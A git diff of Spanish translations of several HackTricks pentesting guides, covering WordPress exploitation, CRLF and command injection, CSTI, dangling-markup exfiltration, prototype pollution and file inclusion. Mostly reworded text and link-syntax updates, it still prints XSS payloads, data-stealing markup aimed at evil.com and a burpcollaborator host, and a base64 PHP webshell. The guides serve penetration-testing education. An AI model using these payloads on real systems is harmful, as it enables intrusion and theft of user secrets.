- Navega al panel de control de WordPress, luego ve a `Dashboard > Plugins > Upload Plugin`.
- Sube el archivo zip del plugin descargado.
3. **Activación del Plugin**: Una vez que el plugin se instala correctamente, debe ser activado a través del panel de control.
4. **Explotación**:
- Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable.
- El marco Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio.
- El marco Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión meterpreter, otorgando acceso no autorizado al sitio.
- Se señala que este es solo uno de los muchos métodos para explotar un sitio de WordPress.
El contenido incluye ayudas visuales que representan los pasos en el panel de control de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
@ -311,11 +313,11 @@ El contenido incluye ayudas visuales que representan los pasos en el panel de co
## De XSS a RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Ejecución Remota de Código (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para versiones de Wordpress 6.X.X, 5.X.X y 4.X.X y permite:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Ejecución Remota de Código (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:**
- _**Escalación de Privilegios:**_ Crea un usuario en WordPress.
- _**(RCE) Subida de Plugin Personalizado (puerta trasera):**_ Sube tu plugin personalizado (puerta trasera) a WordPress.
- _**(RCE) Edición de Plugin Incorporado:**_ Edita un Plugin Incorporado en WordPress.
- _**(RCE) Edición de Tema Incorporado:**_ Edita un Tema Incorporado en WordPress.
- _**(RCE) Edición de Plugin Incorporado:**_ Edita Plugins Incorporados en WordPress.
- _**(RCE) Edición de Tema Incorporado:**_ Edita Temas Incorporados en WordPress.
- _**(Personalizado) Explotaciones Personalizadas:**_ Explotaciones Personalizadas para Plugins/Temas de Terceros de WordPress.
## Post Explotación
@ -350,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
- **REST API**
También es posible exponer funciones de WordPress registrando un REST AP utilizando la función `register_rest_route`:
También es posible exponer funciones de WordPress registrando un rest AP utilizando la función `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -366,7 +368,7 @@ El `permission_callback` es una función de retorno que verifica si un usuario d
- **Acceso directo al archivo php**
Por supuesto, WordPress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Por lo tanto, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.
Por supuesto, Wordpress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Así que, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa solo accediendo al archivo, será explotable por cualquier usuario.
## Protección de WordPress

9
src/other-web-tricks.md
View File

@ -2,7 +2,6 @@
{{#include ./banners/hacktricks-training.md}}
### Encabezado Host
Varias veces el back-end confía en el **encabezado Host** para realizar algunas acciones. Por ejemplo, podría usar su valor como el **dominio para enviar un restablecimiento de contraseña**. Así que cuando recibes un correo electrónico con un enlace para restablecer tu contraseña, el dominio que se utiliza es el que pusiste en el encabezado Host. Luego, puedes solicitar el restablecimiento de contraseña de otros usuarios y cambiar el dominio a uno controlado por ti para robar sus códigos de restablecimiento de contraseña. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
@ -10,7 +9,6 @@ Varias veces el back-end confía en el **encabezado Host** para realizar algunas
> [!WARNING]
> Ten en cuenta que es posible que ni siquiera necesites esperar a que el usuario haga clic en el enlace de restablecimiento de contraseña para obtener el token, ya que tal vez incluso **los filtros de spam u otros dispositivos/bots intermedios harán clic en él para analizarlo**.
### Booleanos de sesión
A veces, cuando completas correctamente alguna verificación, el back-end **simplemente agregará un booleano con el valor "True" a un atributo de seguridad de tu sesión**. Luego, un endpoint diferente sabrá si pasaste esa verificación con éxito.\
@ -26,13 +24,14 @@ Registra un correo electrónico, antes de confirmarlo cambia el correo, luego, s
### Acceso al servicio interno de atención al cliente de empresas usando Atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Método TRACE
Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` replicando en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` repitiendo en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}

6
src/pentesting-web/captcha-bypass.md
View File

@ -11,7 +11,7 @@ Para **eludir** el captcha durante las **pruebas del servidor** y automatizar la
- **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro de captcha presente pero dejado vacío.
2. **Extracción y Reutilización de Valores**:
- **Inspección del Código Fuente**: Buscar el valor del captcha dentro del código fuente de la página.
- **Análisis de Cookies**: Examinar las cookies para encontrar si el valor del captcha está almacenado y reutilizado.
- **Análisis de Cookies**: Examinar las cookies para ver si el valor del captcha está almacenado y se reutiliza.
- **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tener en cuenta que pueden expirar en cualquier momento.
- **Manipulación de Sesiones**: Intentar usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión.
3. **Automatización y Reconocimiento**:
@ -32,6 +32,8 @@ Para **eludir** el captcha durante las **pruebas del servidor** y automatizar la
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) es un servicio impulsado por IA que se especializa en resolver automáticamente varios tipos de captchas, empoderando la recolección de datos al ayudar a los desarrolladores a superar fácilmente los desafíos de captcha encontrados durante el Web Scraping. Soporta captchas como **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest y Cloudflare turnstile, entre otros**. Para los desarrolladores, Capsolver ofrece opciones de integración de API detalladas en [**documentación**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitando la integración de la solución de captcha en aplicaciones. También proporcionan extensiones de navegador para [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) y [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), facilitando el uso de su servicio directamente dentro de un navegador. Diferentes paquetes de precios están disponibles para acomodar diversas necesidades, asegurando flexibilidad para los usuarios.
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
{{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

11
src/pentesting-web/client-side-template-injection-csti.md
View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Resumen
Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript** arbitrario en el navegador de la víctima.
@ -24,8 +23,7 @@ En escenarios donde la entrada del usuario se inserta dinámicamente en el cuerp
```
Puedes encontrar un **ejemplo básico en línea** de la vulnerabilidad en **AngularJS** en [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) y en [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
> [!CAUTION]
> [**Angular 1.6 eliminó el sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) así que a partir de esta versión, una carga útil como `{{constructor.constructor('alert(1)')()}}` o `<input ng-focus=$event.view.alert('XSS')>` debería funcionar.
> [!CAUTION] > [**Angular 1.6 eliminó el sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) así que a partir de esta versión, una carga útil como `{{constructor.constructor('alert(1)')()}}` o `<input ng-focus=$event.view.alert('XSS')>` debería funcionar.
## VueJS
@ -49,7 +47,7 @@ Créditos: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/re
```
{{constructor.constructor('alert(1)')()}}
```
Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
Créditos: [Mario Heiderich](https://twitter.com/cure53berlin)
**Consulta más cargas útiles de VUE en** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **Lista de Detección de Fuerza Bruta**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

11
src/pentesting-web/command-injection.md
View File

@ -2,14 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## ¿Qué es la inyección de comandos?
Una **inyección de comandos** permite la ejecución de comandos arbitrarios del sistema operativo por un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden ser completamente comprometidos. La ejecución de estos comandos generalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
Una **inyección de comandos** permite la ejecución de comandos arbitrarios del sistema operativo por un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos generalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
### Contexto
Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto citado** (usando `"` o `'`) antes de los comandos.
Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto entre comillas** (usando `"` o `'`) antes de los comandos.
## Inyección/Ejecución de Comandos
```bash
@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Bypasses de Limitación**
Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**
Si estás tratando de ejecutar **comandos arbitrarios dentro de una máquina linux**, te interesará leer sobre estos **Bypasses:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
## Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Referencias

22
src/pentesting-web/crlf-0d-0a.md
View File

@ -1,9 +1,7 @@
# CRLF (%0D%0A) Injection
# Inyección CRLF (%0D%0A)
{{#include ../banners/hacktricks-training.md}}
### CRLF
El Carriage Return (CR) y el Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre los encabezados HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en las comunicaciones HTTP/1.1 a través de varios tipos de servidores web, como Apache y Microsoft IIS.
@ -49,7 +47,7 @@ HTTP Response Splitting es una vulnerabilidad de seguridad que surge cuando un a
#### Un ejemplo de HTTP Response Splitting que lleva a Redirección
Desde [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
De [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
Navegador a:
```
@ -72,15 +70,17 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
```
Revisa más ejemplos en:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### Inyección de Encabezados HTTP
La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que podría llevar a un acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies.
La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que podría llevar al acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies.
#### Explotación de CORS a través de la Inyección de Encabezados HTTP
Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta brecha permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos.
Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta violación permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos.
#### SSRF e Inyección de Solicitudes HTTP a través de CRLF
@ -125,7 +125,7 @@ Después, se puede especificar una segunda solicitud. Este escenario típicament
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede activar el envenenamiento de la cola de respuestas. Un ejemplo es:
2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
@ -149,9 +149,9 @@ Además, los investigadores también descubrieron que podían desincronizar las
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
### Cómo Prevenir Inyecciones CRLF / HTTP en Aplicaciones Web
### Cómo Prevenir Inyecciones CRLF / HTTP Header en Aplicaciones Web
Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o inyecciones de encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias:
Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o HTTP Header en aplicaciones web, se recomiendan las siguientes estrategias:
1. **Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta:** El enfoque más seguro es abstenerse de incorporar la entrada proporcionada por el usuario directamente en los encabezados de respuesta.
2. **Codificar Caracteres Especiales:** Si evitar la entrada directa del usuario no es factible, asegúrese de emplear una función dedicada a codificar caracteres especiales como CR (Carriage Return) y LF (Line Feed). Esta práctica previene la posibilidad de inyección CRLF.
@ -197,6 +197,4 @@ Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o iny
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}}

16
src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
View File

@ -5,15 +5,15 @@
## Resumen
Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS**](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script.
También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si deseas desviar la ejecución de algún script.
Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
Varias técnicas comentadas aquí se pueden usar para eludir algunas [**Content Security Policy**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
## Aplicaciones Principales
### Robando secretos en texto claro
Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, echa un vistazo a cuál podría ser más interesante usar).
Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, observa cuál podría ser más interesante de usar).
Si la etiqueta `img` está prohibida (debido a CSP, por ejemplo), también puedes usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
@ -41,11 +41,11 @@ steal me'<b>test</b>
```html
<base href="http://evil.com/" />
```
Luego, los formularios que envían datos a la ruta (como `<form action='update_profile.php'>`) enviarán los datos al dominio malicioso.
Entonces, los formularios que envían datos a la ruta (como `<form action='update_profile.php'>`) enviarán los datos al dominio malicioso.
### Robo de formularios 2
Establecer un encabezado de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante.
Establece un encabezado de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante.
### Robo de formularios 3
@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
```
### Flujo de trabajo engañoso 1 - Ataque de espacio de nombres HTML
Inserte una nueva etiqueta con un id dentro del HTML que sobrescriba la siguiente y con un valor que afecte el flujo de un script. En este ejemplo, está seleccionando con quién se compartirá una información:
Inserte una nueva etiqueta con un id dentro del HTML que sobrescriba la siguiente y con un valor que afecte el flujo de un script. En este ejemplo, está seleccionando con quién se va a compartir una información:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@ -213,7 +213,9 @@ XS-Búsqueda está orientada a **exfiltrar información de origen cruzado** abus
## Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## Referencias

14
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
View File

@ -47,7 +47,7 @@ Cabe señalar que cuando se añade una propiedad a un objeto que sirve como prot
## Explorando la Contaminación de Prototipos en JavaScript
Los objetos de JavaScript se definen por pares clave-valor y heredan del prototipo de objeto de JavaScript. Esto significa que alterar el prototipo de Object puede influir en todos los objetos en el entorno.
Los objetos de JavaScript se definen por pares clave-valor y heredan del prototipo de Objeto de JavaScript. Esto significa que alterar el prototipo de Objeto puede influir en todos los objetos en el entorno.
Utilicemos un ejemplo diferente para ilustrar:
```javascript
@ -218,7 +218,7 @@ client-side-prototype-pollution.md
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a riesgos de seguridad potenciales, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
### CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash
@ -228,7 +228,9 @@ Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia
### Otro tutorial con CVEs
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
{{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
### Herramientas para detectar Contaminación de Prototipos
@ -336,7 +338,7 @@ requests.get(TARGET_URL)
Para reducir el riesgo de contaminación del prototipo, se pueden emplear las siguientes estrategias:
1. **Inmutabilidad de Objetos**: El `Object.prototype` puede hacerse inmutable aplicando `Object.freeze`.
1. **Inmutabilidad de Objetos**: El `Object.prototype` se puede hacer inmutable aplicando `Object.freeze`.
2. **Validación de Entrada**: Las entradas JSON deben ser rigurosamente validadas contra el esquema de la aplicación.
3. **Funciones de Fusión Seguras**: Se debe evitar el uso inseguro de funciones de fusión recursivas.
4. **Objetos Sin Prototipo**: Se pueden crear objetos sin propiedades de prototipo utilizando `Object.create(null)`.
@ -353,4 +355,6 @@ Para reducir el riesgo de contaminación del prototipo, se pueden emplear las si
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
- [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
- [https://blog.p6.is/AST-Injection/](https://blog.p
- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
{{#include ../../../banners/hacktricks-training.md}}

70
src/pentesting-web/file-inclusion/README.md
View File

@ -21,7 +21,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
**Combinando varias listas de LFI de \*nix y añadiendo más rutas he creado esta:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Intenta también cambiar `/` por `\`\
Intenta también añadir `../../../../../`
@ -32,7 +34,9 @@ Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (
Fusión de diferentes listas de palabras:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Intenta también cambiar `/` por `\`\
Intenta también eliminar `C:/` y añadir `../../../../../`
@ -45,7 +49,7 @@ Revisa la lista de LFI de linux.
## LFI básico y bypasses
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (página=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Todos los ejemplos son para Inclusión de Archivos Local, pero también podrían aplicarse a Inclusión de Archivos Remota (página=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -86,16 +90,16 @@ El sistema de archivos de un servidor puede ser explorado recursivamente para id
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Sondear carpetas:** Agrega el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
2. **Sondear carpetas:** Agrega el nombre de la carpeta sospechada (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
- **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
- **Contenido de `/etc/passwd`:** La presencia de la carpeta `private` está confirmada.
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Local File Inclusion (LFI).
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).
Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -121,7 +125,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
- **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
- **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
@ -149,7 +153,7 @@ Si por alguna razón **`allow_url_include`** está **Activado**, pero PHP está
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado).
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, por lo que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
Otro ejemplo **sin usar el protocolo `php://`** sería:
```
@ -177,7 +181,7 @@ Parece que si tienes un Path Traversal en Java y **pides un directorio** en luga
## Top 25 parameters
